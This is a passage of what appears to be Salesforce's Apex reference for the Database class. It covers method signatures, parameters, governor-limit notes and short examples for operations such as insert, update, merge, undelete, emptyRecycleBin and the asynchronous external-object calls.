Type: SObject
The external object record to delete.
Return Value
Type: Database.DeleteResult
Status result for the delete operation. The result corresponds to the record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncDeleteResult().
deleteImmediate(sobjects)
Initiates requests to delete the external data that corresponds to the specified external object records. The requests are executed
synchronously and are sent to the external systems that are defined by the external objects' associated external data sources. If the Apex
transaction contains pending changes, the synchronous operations can't be completed and throw exceptions.
Signature
public static List<Database.DeleteResult> deleteImmediate(List<SObject> sobjects)
Parameters
sobjects
Type: List<SObject>
List of external object records to delete.
Return Value
Type: List<Database.DeleteResult>
Status results for the delete operation.
2181
Database ClassReference
deleteImmediate(sobject)
Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed synchronously
and is sent to the external system that's defined by the external object's associated external data source. If the Apex transaction contains
pending changes, the synchronous operation can't be completed and throws an exception.
Signature
public static Database.DeleteResult deleteImmediate(SObject sobject)
Parameters
sobject
Type: SObject
The external object record to delete.
Return Value
Type: Database.DeleteResult
Status result for the delete operation.
emptyRecycleBin(recordIds)
Permanently deletes the specified records from the Recycle Bin.
Signature
public static Database.EmptyRecycleBinResult[] emptyRecycleBin(ID [] recordIds)
Parameters
recordIds
Type: ID[]
Return Value
Type: Database.EmptyRecycleBinResult[]
Usage
Note the following:
•After records are deleted using this method, they cannot be undeleted.
•Only 10,000 records can be specified for deletion.
•Logged in users can delete any record that they can query in their Recycle Bin, or the recycle bins of any subordinates. If logged in
users have “Modify All Data” permission, they can query and delete records from any Recycle Bin in the organization.
•Cascade delete record IDs should not be included in the list of IDs; otherwise an error occurs. For example, if an account record is
deleted, all related contacts, opportunities, contracts, and so on are also deleted. Only include the Id of the top-level account. All
related records are automatically removed.
2182
Database ClassReference
•Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number
of DML statements issued. Each executed emptyRecycleBin method counts against the governor limit for DML statements.
emptyRecycleBin(obj)
Permanently deletes the specified sObject from the Recycle Bin.
Signature
public static Database.EmptyRecycleBinResult emptyRecycleBin(sObject obj)
Parameters
obj
Type: sObject
Return Value
Type: Database.EmptyRecycleBinResult
Usage
Note the following:
•After an sObject is deleted using this method it cannot be undeleted.
•Only 10,000 sObjects can be specified for deletion.
•The logged-in user can delete any sObject that he or she can query in their Recycle Bin, or the recycle bins of any subordinates. If
the logged-in user has “Modify All Data” permission, he or she can query and delete sObjects from any Recycle Bin in the organization.
•Do not include an sObject that was deleted due to a cascade delete; otherwise an error occurs. For example, if an account is deleted,
all related contacts, opportunities, contracts, and so on are also deleted. Only include sObjects of the top-level account. All related
sObjects are automatically removed.
•Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number
of DML statements issued. Each executed emptyRecycleBin method counts against the governor limit for DML statements.
emptyRecycleBin(listOfSObjects)
Permanently deletes the specified sObjects from the Recycle Bin.
Signature
public static Database.EmptyRecycleBinResult[] emptyRecycleBin(sObject[] listOfSObjects)
Parameters
listOfSObjects
Type: sObject[]
Return Value
Type: Database.EmptyRecycleBinResult[]
2183
Database ClassReference
Usage
Note the following:
•After an sObject is deleted using this method it cannot be undeleted.
•Only 10,000 sObjects can be specified for deletion.
•The logged-in user can delete any sObject that he or she can query in their Recycle Bin, or the recycle bins of any subordinates. If
the logged-in user has “Modify All Data” permission, he or she can query and delete sObjects from any Recycle Bin in the organization.
•Do not include an sObject that was deleted due to a cascade delete; otherwise an error occurs. For example, if an account is deleted,
all related contacts, opportunities, contracts, and so on are also deleted. Only include sObjects of the top-level account. All related
sObjects are automatically removed.
•Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number
of DML statements issued. Each executed emptyRecycleBin method counts against the governor limit for DML statements.
executeBatch(batchClassObject)
Submits a batch Apex job for execution corresponding to the specified class.
Signature
public static ID executeBatch(Object batchClassObject)
Parameters
batchClassObject
Type: Object
An instance of a class that implements the Database.Batchable interface.
Return Value
Type: ID
The ID of the new batch job (AsyncApexJob).
Usage
When calling this method, Salesforce chunks the records returned by the start method of the batch class into batches of 200, and
then passes each batch to the execute method. Apex governor limits are reset for each execution of execute.
For more information, see Using Batch Apex on page 241.
executeBatch(batchClassObject, scope)
Submits a batch Apex job for execution using the specified class and scope.
Signature
public static ID executeBatch(Object batchClassObject, Integer scope)
2184
Database ClassReference
Parameters
batchClassObject
Type: Object
An instance of a class that implements the Database.Batchable interface.
scope
Type: Integer
Number of records to be passed into the execute method for batch processing.
Return Value
Type: ID
The ID of the new batch job (AsyncApexJob).
Usage
The value for scope must be greater than 0.
If the start method of the batch class returns a Database.QueryLocator, the scope parameter of Database.executeBatch
can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller
batches of up to 200 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper limit;
however, if you use a very high number, you could run into other limits.
Apex governor limits are reset for each execution of execute.
For more information, see Using Batch Apex on page 241.
getAsyncDeleteResult(deleteResult)
Retrieves the status of an asynchronous delete operation that’s identified by a Database.DeleteResult object.
Signature
public static Database.DeleteResult getAsyncDeleteResult(Database.DeleteResult
deleteResult)
Parameters
deleteResult
Type: Database.DeleteResult
The result record for the delete operation being retrieved.
Return Value
Type: Database.DeleteResult
The result of a completed asynchronous delete of a record or records.
getAsyncDeleteResult(asyncLocator)
Retrieves the result of an asynchronous delete operation based on the result’s unique identifier.
2185
Database ClassReference
Signature
public static Database.DeleteResult getAsyncDeleteResult(String asyncLocator)
Parameters
asyncLocator
Type: String
The unique identifier associated with the result of an asynchronous operation.
Return Value
Type: Database.DeleteResult
The result of a completed asynchronous delete of a record or records.
getAsyncLocator(result)
Returns the asyncLocator associated with the result of a specified asynchronous insert, update, or delete operation.
Signature
public static String getAsyncLocator(Object result)
Parameters
result
Type: Object
The saved result of an asynchronous insert, update, or delete operation. The result object can be of type Database.SaveResult
or Database.DeleteResult.
Return Value
Type: String
The unique identifier associated with the result of the specified operation.
getAsyncSaveResult(saveResult)
Returns the status of an asynchronous insert or update operation that’s identified by a Database.SaveResult object.
Signature
public static Database.SaveResult getAsyncSaveResult(Database.SaveResult saveResult)
Parameters
saveResult
Type: Database.SaveResult
The result record for the insert or update operation being retrieved.
2186
Database ClassReference
Return Value
Database.SaveResult
The result of a completed asynchronous operation on a record or records.
getAsyncSaveResult(asyncLocator)
Returns the status of an asynchronous insert or update operation based on the unique identifier associated with each modification.
Signature
public static Database.SaveResult getAsyncSaveResult(String asyncLocator)
Parameters
asyncLocator
Type: String
The unique identifier associated with the result of an asynchronous operation.
Return Value
Database.SaveResult
The result of a completed asynchronous operation on a record or records.
getDeleted(sObjectType, startDate, endDate)
Returns the list of individual records that have been deleted for an sObject type within the specified start and end dates and times and
that are still in the Recycle Bin.
Signature
public static Database.GetDeletedResult getDeleted(String sObjectType, Datetime
startDate, Datetime endDate)
Parameters
sObjectType
Type: String
The sObjectType argument is the sObject type name for which to get the deleted records, such as account or merchandise__c.
startDate
Type: Datetime
Start date and time of the deleted records time window.
endDate
Type: Datetime
End date and time of the deleted records time window.
2187
Database ClassReference
Return Value
Type: Database.GetDeletedResult
Usage
Because the Recycle Bin holds records up to 15 days, results are returned for no more than 15 days previous to the day the call is executed
(or earlier if an administrator has purged the Recycle Bin).
Example
Database.GetDeletedResult r =
Database.getDeleted(
'Merchandise__c',
Datetime.now().addHours(-1),
Datetime.now());
getQueryLocator(listofQueries)
Creates a QueryLocator object used in batch Apex or Visualforce.
Signature
public static Database. QueryLocator getQueryLocator(sObject [] listOfQueries)
Parameters
listOfQueries
Type: sObject []
Return Value
Type: Database.QueryLocator
Usage
You can't use getQueryLocator with any query that contains an aggregate function.
Each executed getQueryLocator method counts against the governor limit of 10,000 total records retrieved and the total number
of SOQL queries issued.
For more information, see Understanding Apex Managed Sharing, and IdeaStandardSetController Class.
getQueryLocator(query)
Creates a QueryLocator object used in batch Apex or Visualforce.
Signature
public static Database.QueryLocator getQueryLocator(String query)
2188
Database ClassReference
Parameters
query
Type: String
Return Value
Type: Database.QueryLocator
Usage
You can't use getQueryLocator with any query that contains an aggregate function.
Each executed getQueryLocator method counts against the governor limit of 10,000 total records retrieved and the total number
of SOQL queries issued.
For more information, see Understanding Apex Managed Sharing, and StandardSetController Class.
getUpdated(sobjectType, startDate, endDate)
Returns the list of individual records that have been updated for an sObject type within the specified start and end dates and times.
Signature
public static Database.GetUpdatedResult getUpdated(String sobjectType, Datetime
startDate, Datetime endDate)
Parameters
sobjectType
Type: String
The sObjectType argument is the sObject type name for which to get the updated records, such as account or merchandise__c.
startDate
Type: Datetime
The startDate argument is the start date and time of the updated records time window.
endDate
Type: Datetime
The endDate argument is the end date and time of the updated records time window.
Return Value
Type: Database.GetUpdatedResult
Usage
The date range for the returned results is no more than 30 days previous to the day the call is executed.
2189
Database ClassReference
Example
Database.GetUpdatedResult r =
Database.getUpdated(
'Merchandise__c',
Datetime.now().addHours(-1),
Datetime.now());
insert(recordToInsert, allOrNone)
Adds an sObject, such as an individual account or contact, to your organization's data.
Signature
public static Database.SaveResult insert(sObject recordToInsert, Boolean allOrNone)
Parameters
recordToInsert
Type: sObject
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.
Return Value
Type: Database.SaveResult
Usage
insert is analogous to the INSERT statement in SQL.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that
is too long for the field.
Each executed insert method counts against the governor limit for DML statements.
insert(recordsToInsert, allOrNone)
Adds one or more sObjects, such as individual accounts or contacts, to your organization’s data.
Signature
public static Database.SaveResult[] insert(sObject[] recordsToInsert, Boolean allOrNone)
Parameters
recordsToInsert
Type: sObject []
2190
Database ClassReference
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.
Return Value
Type: Database.SaveResult[]
Usage
insert is analogous to the INSERT statement in SQL.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that
is too long for the field.
Each executed insert method counts against the governor limit for DML statements.
Example
Example:
The following example inserts two accounts:
Account a = new Account(name = 'Acme1');
Database.SaveResult[] lsr = Database.insert(
new Account[]{a, new Account(Name = 'Acme2')},
false);
insert(recordToInsert, dmlOptions)
Adds an sObject, such as an individual account or contact, to your organization's data.
Signature
public static Database.SaveResult insert(sObject recordToInsert, Database.DMLOptions
dmlOptions)
Parameters
recordToInsert
Type: sObject
dmlOptions
Type: Database.DMLOptions
The optional dmlOptions parameter specifies additional data for the transaction, such as assignment rule information or rollback
behavior when errors occur during record insertions.
Return Value
Type: Database.SaveResult
2191
Database ClassReference
Usage
insert is analogous to the INSERT statement in SQL.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that
is too long for the field.
Each executed insert method counts against the governor limit for DML statements.
insert(recordsToInsert, dmlOptions)
Adds one or more sObjects, such as individual accounts or contacts, to your organization's data.
Signature
public static Database.SaveResult insert(sObject[] recordsToInsert, Database.DMLOptions
dmlOptions)
Parameters
recordsToInsert
Type: sObject[]
dmlOptions
Type: Database.DMLOptions
The optional dmlOptions parameter specifies additional data for the transaction, such as assignment rule information or rollback
behavior when errors occur during record insertions.
Return Value
Type: Database.SaveResult[]
Usage
insert is analogous to the INSERT statement in SQL.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that
is too long for the field.
Each executed insert method counts against the governor limit for DML statements.
insertAsync(sobjects, callback)
Initiates requests to add external object data to the relevant external systems. The requests are executed asynchronously, as background
operations, and are sent to the external systems that are defined by the external objects' associated external data sources. Allows
referencing a callback class whose processSave method is called for each record after the remote operations are completed.
Signature
public static List<Database.SaveResult> insertAsync(List<SObject> sobjects,
DataSource.AsyncSaveCallback callback)
2192
Database ClassReference
Parameters
sobjects
Type: List<SObject>
List of external object records to insert.
callback
Type: DataSource.AsyncSaveCallback
The callback object that contains the state in the originating context and an action (the processSave method) that executes
after the insert operation is completed. Use the action callback to update org data according to the operation’s results. The callback
object must extend DataSource.AsyncSaveCallback.
Return Value
Type: List<Database.SaveResult>
Status results for the insert operation. Each result corresponds to a record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().
insertAsync(sobject, callback)
Initiates a request to add external object data to the relevant external system. The request is executed asynchronously, as a background
operation, and is sent to the external system that's defined by the external object's associated external data source. Allows referencing
a callback class whose processSave method is called after the remote operation is completed.
Signature
public static Database.SaveResult insertAsync(SObject sobject,
DataSource.AsyncSaveCallback callback)
Parameters
sobject
Type: SObject
The external object record to insert.
callback
Type: DataSource.AsyncSaveCallback
The callback object that contains the state in the originating context and an action (the processSave method) that executes
after the insert operation is completed. Use the action callback to update org data according to the operation’s results. The callback
object must extend DataSource.AsyncSaveCallback.
Return Value
Type: Database.SaveResult
Status result for the insert operation. The result corresponds to the record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().
2193
Database ClassReference
insertAsync(sobjects)
Initiates requests to add external object data to the relevant external systems. The requests are executed asynchronously, as background
operations, and are sent to the external systems that are defined by the external objects' associated external data sources.
Signature
public static List<Database.SaveResult> insertAsync(List<SObject> sobjects)
Parameters
sobjects
Type: List<SObject>
List of external object records to insert.
Return Value
Type: List<Database.SaveResult>
Status results for the insert operation. Each result corresponds to a record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().
insertAsync(sobject)
Initiates a request to add external object data to the relevant external system. The request is executed asynchronously, as a background
operation, and is sent to the external system that's defined by the external object's associated external data source.
Signature
public static Database.SaveResult insertAsync(SObject sobject)
Parameters
sobject
Type: SObject
The external object record to insert.
Return Value
Type: Database.SaveResult
Status result for the insert operation. The result corresponds to the record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().
insertImmediate(sobjects)
Initiates requests to add external object data to the relevant external systems. The requests are executed synchronously and are sent to
the external systems that are defined by the external objects' associated external data sources. If the Apex transaction contains pending
changes, the synchronous operations can't be completed and throw exceptions.
2194
Database ClassReference
Signature
public static List<Database.SaveResult> insertImmediate(List<SObject> sobjects)
Parameters
sobjects
Type: List<SObject>
List of external object records to insert.
Return Value
Type: List<Database.SaveResult>
Status results for the insert operation.
insertImmediate(sobject)
Initiates a request to add external object data to the relevant external system. The request is executed synchronously and is sent to the
external system that's defined by the external object's associated external data source. If the Apex transaction contains pending changes,
the synchronous operation can't be completed and throws an exception.
Signature
public static Database.SaveResult insertImmediate(SObject sobject)
Parameters
sobject
Type: SObject
The external object record to insert.
Return Value
Type: Database.SaveResult
Status result for the insert operation.
merge(masterRecord, duplicateId)
Merges the specified duplicate record into the master sObject record of the same type, deleting the duplicate, and reparenting any
related records. Merges only accounts, contacts, or leads.
Signature
public static Database.MergeResult merge(sObject masterRecord, Id duplicateId)
Parameters
masterRecord
Type: sObject
2195
Database ClassReference
The master sObject record the duplicate record is merged into.
duplicateId
Type: ID
The ID of the record to merge with the master. This record must be of the same sObject type as the master.
Return Value
Type: Database.MergeResult
Usage
Each executed merge method counts against the governor limit for DML statements.
merge(masterRecord, duplicateRecord)
Merges the specified duplicate sObject record into the master sObject of the same type, deleting the duplicate, and reparenting any
related records.
Signature
public static Database.MergeResult merge(sObject masterRecord, sObject duplicateRecord)
Parameters
masterRecord
Type: sObject
The master sObject record the duplicate record is merged into.
duplicateRecord
Type: sObject
The sObject record to merge with the master. This sObject must be of the same type as the master.
Return Value
Type: Database.MergeResult
Usage
Each executed merge method counts against the governor limit for DML statements.
merge(masterRecord, duplicateIds)
Merges up to two records of the same sObject type into the master sObject record, deleting the others, and reparenting any related
records.
Signature
public static List<Database.MergeResult> merge(sObject masterRecord, List<Id>
duplicateIds)
2196
Database ClassReference
Parameters
masterRecord
Type: SObject
The master sObject record the other records are merged into.
duplicateIds
Type: List<Id>
A list of IDs of up to two records to merge with the master. These records must be of the same sObject type as the master.
Return Value
Type: List<Database.MergeResult>
Usage
Each executed merge method counts against the governor limit for DML statements.
merge(masterRecord, duplicateRecords)
Merges up to two records of the same object type into the master sObject record, deleting the others, and reparenting any related
records.
Signature
public static List<Database.MergeResult> merge(sObject masterRecord, List<SObject>
duplicateRecords)
Parameters
masterRecord
Type: SObject
The master sObject record the other sObjects are merged into.
duplicateRecords
Type: List<SObject>
A list of up to two sObject records to merge with the master. These sObjects must be of the same type as the master.
Return Value
Type: List<Database.MergeResult>
Usage
Each executed merge method counts against the governor limit for DML statements.
merge(masterRecord, duplicateId, allOrNone)
Merges the specified duplicate record into the master sObject record of the same type, optionally returning errors, if any, deleting the
duplicate, and reparenting any related records. Merges only accounts, contacts, or leads.
2197
Database ClassReference
Signature
public static Database.MergeResult merge(sObject masterRecord, Id duplicateId, Boolean
allOrNone)
Parameters
masterRecord
Type: sObject
The master sObject record the duplicate record is merged into.
duplicate
Type: ID
The ID of the record to merge with the master. This record must be of the same sObject type as the master.
allOrNone
Type: Boolean
Set to false to return any errors encountered in this operation as part of the returned result. If set to true, this method throws
an exception if the operation fails. The default is true.
Return Value
Type: Database.MergeResult
Usage
Each executed merge method counts against the governor limit for DML statements.
merge(masterRecord, duplicateRecord, allOrNone)
Merges the specified duplicate sObject record into the master sObject of the same type, optionally returning errors, if any, deleting the
duplicate, and reparenting any related records.
Signature
public static Database.MergeResult merge(sObject masterRecord, sObject duplicateRecord,
Boolean allOrNone)
Parameters
masterRecord
Type: sObject
The master sObject record the duplicate record is merged into.
duplicateRecord
Type: sObject
The sObject record to merge with the master. This sObject must be of the same type as the master.
allOrNone
Type: Boolean
2198
Database ClassReference
Set to false to return any errors encountered in this operation as part of the returned result. If set to true, this method throws
an exception if the operation fails. The default is true.
Return Value
Type: Database.MergeResult
Usage
Each executed merge method counts against the governor limit for DML statements.
merge(masterRecord, duplicateIds, allOrNone)
Merges up to two records of the same sObject type into the master sObject record, optionally returning errors, if any, deleting the
duplicates, and reparenting any related records.
Signature
public static List<Database.MergeResult> merge(sObject masterRecord, List<Id>
duplicateIds, Boolean allOrNone)
Parameters
masterRecord
Type: SObject
The master sObject record the other records are merged into.
duplicateIds
Type: List<Id>
A list of IDs of up to two records to merge with the master. These records must be of the same sObject type as the master.
allOrNone
Type: Boolean
Set to false to return any errors encountered in this operation as part of the returned result. If set to true, this method throws
an exception if the operation fails. The default is true.
Return Value
Type: List<Database.MergeResult>
Usage
Each executed merge method counts against the governor limit for DML statements.
merge(masterRecord, duplicateRecords, allOrNone)
Merges up to two records of the same object type into the master sObject record, optionally returning errors, if any, deleting the duplicates,
and reparenting any related records.
2199
Database ClassReference
Signature
public static List<Database.MergeResult> merge(sObject masterRecord, List<SObject>
duplicateRecords, Boolean allOrNone)
Parameters
masterRecord
Type: sObject
The master sObject record the other sObjects are merged into.
duplicateRecords
Type: List<SObject>
A list of up to two sObject records to merge with the master. These sObjects must be of the same type as the master.
allOrNone
Type: Boolean
Set to false to return any errors encountered in this operation as part of the returned result. If set to true, this method throws
an exception if the operation fails. The default is true.
Return Value
Type: List<Database.MergeResult>
Usage
Each executed merge method counts against the governor limit for DML statements.
query(queryString)
Creates a dynamic SOQL query at runtime.
Signature
public static sObject[] query(String queryString)
Parameters
queryString
Type: String
Return Value
Type: sObject[]
Usage
This method can be used wherever a static SOQL query can be used, such as in regular assignment statements and for loops. Unlike
inline SOQL, fields in bind variables are not supported.
For more information, see Dynamic SOQL on page 177.
Each executed query method counts against the governor limit for SOQL queries.
2200
Database ClassReference
rollback(databaseSavepoint)
Restores the database to the state specified by the savepoint variable. Any emails submitted since the last savepoint are also rolled back
and not sent.
Signature
public static Void rollback(System.Savepoint databaseSavepoint)
Parameters
databaseSavepoint
Type: System.Savepoint
Return Value
Type: Void
Usage
Note the following:
•Static variables are not reverted during a rollback. If you try to run the trigger again, the static variables retain the values from the
first run.
•Each rollback counts against the governor limit for DML statements. You will receive a runtime error if you try to rollback the database
additional times.
•The ID on an sObject inserted after setting a savepoint is not cleared after a rollback. Create an sObject to insert after a rollback.
Attempting to insert the sObject using the variable created before the rollback fails because the sObject variable has an ID. Updating
or upserting the sObject using the same variable also fails because the sObject is not in the database and, thus, cannot be updated.
For an example, see Transaction Control.
setSavepoint()
Returns a savepoint variable that can be stored as a local variable, then used with the rollback method to restore the database to
that point.
Signature
public static System.Savepoint setSavepoint()
Return Value
Type: System.Savepoint
Usage
Note the following:
•If you set more than one savepoint, then roll back to a savepoint that is not the last savepoint you generated, the later savepoint
variables become invalid. For example, if you generated savepoint SP1 first, savepoint SP2 after that, and then you rolled back
to SP1, the variable SP2 would no longer be valid. You will receive a runtime error if you try to use it.
2201
Database ClassReference
•References to savepoints cannot cross trigger invocations because each trigger invocation is a new trigger context. If you declare a
savepoint as a static variable then try to use it across trigger contexts, you will receive a run-time error.
•Each savepoint you set counts against the governor limit for DML statements.
For an example, see Transaction Control.
undelete(recordToUndelete, allOrNone)
Restores an existing sObject record, such as an individual account or contact, from your organization's Recycle Bin.
Signature
public static Database.UndeleteResult undelete(sObject recordToUndelete, Boolean
allOrNone)
Parameters
recordToUndelete
Type: sObject
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.
Return Value
Type: Database.UndeleteResult
Usage
undelete is analogous to the UNDELETE statement in SQL.
Each executed undelete method counts against the governor limit for DML statements.
undelete(recordsToUndelete, allOrNone)
Restores one or more existing sObject records, such as individual accounts or contacts, from your organization’s Recycle Bin.
Signature
public static Database.UndeleteResult[] undelete(sObject[] recordsToUndelete, Boolean
allOrNone)
Parameters
recordsToUndelete
Type: sObject []
allOrNone
Type: Boolean
2202
Database ClassReference
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.
Return Value
Type: Database.UndeleteResult[]
Usage
undelete is analogous to the UNDELETE statement in SQL.
Each executed undelete method counts against the governor limit for DML statements.
Example
The following example restores all accounts named 'Trump'. The ALL ROWS keyword queries all rows for both top-level and aggregate
relationships, including deleted records and archived activities.
Account[] savedAccts = [SELECT Id, Name FROM Account
WHERE Name = 'Trump'
ALL ROWS];
Database.UndeleteResult[] UDR_Dels = Database.undelete(savedAccts);
undelete(recordID, allOrNone)
Restores an existing sObject record, such as an individual account or contact, from your organization's Recycle Bin.
Signature
public static Database.UndeleteResult undelete(ID recordID, Boolean allOrNone)
Parameters
recordID
Type: ID
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.
Return Value
Type: Database.UndeleteResult
Usage
undelete is analogous to the UNDELETE statement in SQL.
Each executed undelete method counts against the governor limit for DML statements.
2203
Database ClassReference
undelete(recordIDs, allOrNone)
Restores one or more existing sObject records, such as individual accounts or contacts, from your organization’s Recycle Bin.
Signature
public static Database.UndeleteResult[] undelete(ID[] recordIDs, Boolean allOrNone)
Parameters
RecordIDs
Type: ID[]
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.
Return Value
Type: Database.UndeleteResult[]
Usage
undelete is analogous to the UNDELETE statement in SQL.
Each executed undelete method counts against the governor limit for DML statements.
update(recordToUpdate, allOrNone)
Modifies an existing sObject record, such as an individual account or contact, in your organization's data.
Signature
public static Database.SaveResult update(sObject recordToUpdate, Boolean allOrNone)
Parameters
recordToUpdate
Type: sObject
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.
Return Value
Type: Database.SaveResult
2204
Database ClassReference
Usage
update is analogous to the UPDATE statement in SQL.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that
is too long for the field.
Each executed update method counts against the governor limit for DML statements.
Example
The following example updates the BillingCity field on a single account.
Account a = new Account(Name='SFDC');
insert(a);
Account myAcct =
[SELECT Id, Name, BillingCity
FROM Account WHERE Id = :a.Id];
myAcct.BillingCity = 'San Francisco';
Database.SaveResult SR =
Database.update(myAcct);
update(recordsToUpdate, allOrNone)
Modifies one or more existing sObject records, such as individual accounts or contactsinvoice statements, in your organization’s data.
Signature
public static Database.SaveResult[] update(sObject[] recordsToUpdate, Boolean allOrNone)
Parameters
recordsToUpdate
Type: sObject []
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.
Return Value
Type: Database.SaveResult[]
Usage
update is analogous to the UPDATE statement in SQL.
Each executed update method counts against the governor limit for DML statements.
2205
Database ClassReference
update(recordToUpdate, dmlOptions)
Modifies an existing sObject record, such as an individual account or contact, in your organization's data.
Signature
public static Database.SaveResult update(sObject recordToUpdate, Database.DmlOptions
dmlOptions)
Parameters
recordToUpdate
Type: sObject
dmlOptions
Type: Database.DMLOptions
The optional dmlOptions parameter specifies additional data for the transaction, such as assignment rule information or rollback
behavior when errors occur during record insertions.
Return Value
Type: Database.SaveResult
Usage
update is analogous to the UPDATE statement in SQL.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that
is too long for the field.
Each executed update method counts against the governor limit for DML statements.
update(recordsToUpdate, dmlOptions)
Modifies one or more existing sObject records, such as individual accounts or contactsinvoice statements, in your organization’s data.
Signature
public static Database.SaveResult[] update(sObject[] recordsToUpdate, Database.DMLOptions
dmlOptions)
Parameters
recordsToUpdate
Type: sObject []
dmlOptions
Type: Database.DMLOptions
The optional dmlOptions parameter specifies additional data for the transaction, such as assignment rule information or rollback
behavior when errors occur during record insertions.
2206
Database ClassReference
Return Value
Type: Database.SaveResult[]
Usage
update is analogous to the UPDATE statement in SQL.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that
is too long for the field.
Each executed update method counts against the governor limit for DML statements.
upsert(recordToUpsert, externalIdField, allOrNone)
Creates a new sObject record or updates an existing sObject record within a single statement, using a specified field to determine the
presence of existing objects, or the ID field if no field is specified.
Signature
public static Database.UpsertResult upsert(sObject recordToUpsert, Schema.SObjectField
externalIDField, Boolean allOrNone)
Parameters
recordToUpsert
Type: sObject
externalIdField
Type: Schema.SObjectField
The externalIdField is of type Schema.SObjectField, that is, a field token. Find the token for the field by using the
fields special method. For example, Schema.SObjectField f = Account.Fields.MyExternalId. The
externalIdField parameter is the field that upsert() uses to match sObjects with existing records. This field can be a
custom field marked as external ID, or a standard field with the idLookup attribute.
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.
Return Value
Type: Database.UpsertResult
Usage
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that
is too long for the field.
Each executed upsert method counts against the governor limit for DML statements.
For more information on how the upsert operation works, see the upsert() statement.
2207
Database ClassReference
upsert(recordsToUpsert, externalIdField, allOrNone)
Creates new sObject records or updates existing sObject records within a single statement, using a specified field to determine the
presence of existing objects, or the ID field if no field is specified.
Signature
public static Database.UpsertResult[] upsert(sObject[] recordsToUpsert,
Schema.SObjectField externalIdField, Boolean allOrNone)
Parameters
recordsToUpsert
Type: sObject []
externalIdField
Type: Schema.SObjectField
The externalIdField is of type Schema.SObjectField, that is, a field token. Find the token for the field by using the
fields special method. For example, Schema.SObjectField f = Account.Fields.MyExternalId. The
externalIdField parameter is the field that upsert() uses to match sObjects with existing records. This field can be a
custom field marked as external ID, or a standard field with the idLookup attribute.
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.
Return Value
Type: Database.UpsertResult[]
Usage
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that
is too long for the field.
Each executed upsert method counts against the governor limit for DML statements.
For more information on how the upsert operation works, see the upsert() statement.
updateAsync(sobjects, callback)
Initiates requests to update external object data on the relevant external systems. The requests are executed asynchronously, as background
operations, and are sent to the external systems that are defined by the external objects' associated external data sources. Allows
referencing a callback class whose processSave method is called for each record after the remote operations are completed.
Signature
public static List<Database.SaveResult> updateAsync(List<SObject> sobjects,
DataSource.AsyncSaveCallback callback)
2208
Database ClassReference
Parameters
sobjects
Type: List<SObject>
List of external object records to modify.
callback
Type: DataSource.AsyncSaveCallback
The callback object that contains the state in the originating context and an action (the processSave method) that executes
after the insert operation is completed. Use the action callback to update org data according to the operation’s results. The callback
object must extend DataSource.AsyncSaveCallback.
Return Value
Type: List<Database.SaveResult>
Status results for the update operation. Each result corresponds to a record processed by this asynchronous operation and is associated
